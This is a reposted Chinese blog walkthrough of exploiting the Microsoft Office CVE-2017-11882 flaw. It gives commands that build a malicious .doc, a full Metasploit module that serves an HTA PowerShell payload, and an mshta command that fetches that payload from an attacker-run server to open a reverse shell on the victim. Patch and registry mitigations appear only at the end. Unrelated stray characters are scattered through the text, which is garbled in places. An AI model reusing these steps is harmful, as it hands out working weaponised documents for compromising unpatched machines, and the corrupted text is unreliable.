轉載:
撰寫人:fox-yu http://www.cnblogs.com/fox-yu/
昨晚看到的有復現(xiàn)的文章民宿,一直到今天才去自己復現(xiàn)了一遍,還是例行記錄一下杜耙。
POC:
https://github.com/Ridter/CVE-2017-11882/
一席爽、簡單的生成彈計算器的doc文件凌外。
網(wǎng)上看到的改進過的POC,我們直接拿來用烟馅,命令如下:
#python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
生成的doc文件直接打開就可以彈出計算器说庭。
影響的腳本:
Office 365
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016
復制代碼
二、生成可以反彈shell的doc文件
這里我們用到MSF郑趁, 添加EXP腳本刊驴,進入/usr/share/metasploit-framework/modules/exploits/windows/,新建一個office文件夾,把以下的代碼保存為ps_shell.rb捆憎。
EXP腳本
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end
def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end
def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end
保存之后如下:
之后我們進入msf控制臺舅柜,選擇好payload并且設置好ip和生成的hta文件路徑。
然后利用上面的POC將生成的hta文件放到doc文件里躲惰。
#python Command109b_CVE-2017-11882.py -c "mshta http://192.168.49.142:8080/123" -o test123.doc
將生成的test123.doc文件放到目標機里打開致份,成功返回shell。
修復建議:
1.下載微軟對此漏洞補洞〔Α:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882氮块,并且開啟自動更新功能
2.在注冊表中禁用該漏洞模塊:
reg add “HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400
reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD/d 0x400
最后放幾個GitHub上面的POC:
https://github.com/starnightcyber/CVE-2017-11882
https://github.com/embedi/CVE-2017-11882
https://github.com/Ridter/CVE-2017-11882/
笨鳥先飛早入林,笨人勤學早成材诡宗。